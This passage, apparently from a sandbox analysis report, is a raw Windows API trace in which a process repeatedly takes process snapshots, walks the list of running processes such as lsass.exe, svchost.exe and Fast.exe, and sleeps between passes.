Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.210] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0211.211] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.212] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.213] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.214] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.215] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.216] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.217] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.217] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.218] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.219] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.220] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0211.221] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0211.222] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.223] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.224] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0211.225] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0211.226] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0211.227] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0211.228] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0211.229] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0211.230] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0211.231] CloseHandle (hObject=0x1a8) returned 1 [0211.231] Sleep (dwMilliseconds=0x1f4) [0213.140] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0213.145] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.146] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.147] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.148] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.149] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.150] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.151] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.152] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.153] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.154] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0213.155] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.156] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.157] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.158] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.159] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.160] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.161] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.162] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.163] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.164] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.165] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0213.166] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0213.166] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.167] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.168] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0213.169] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0213.170] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0213.171] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0213.172] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0213.173] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0213.174] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0213.175] CloseHandle (hObject=0x1a8) returned 1 [0213.175] Sleep (dwMilliseconds=0x1f4) [0214.259] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0214.264] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.265] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.266] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.267] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.267] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.268] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.269] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.270] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.271] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.272] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0214.273] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.274] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.275] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.275] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.276] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.277] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.278] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.279] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.280] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.281] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.282] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0214.282] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0214.283] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.284] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.285] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0214.286] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0214.287] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0214.287] Process32NextW (in: hSnapshot=0x1ac, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0214.288] 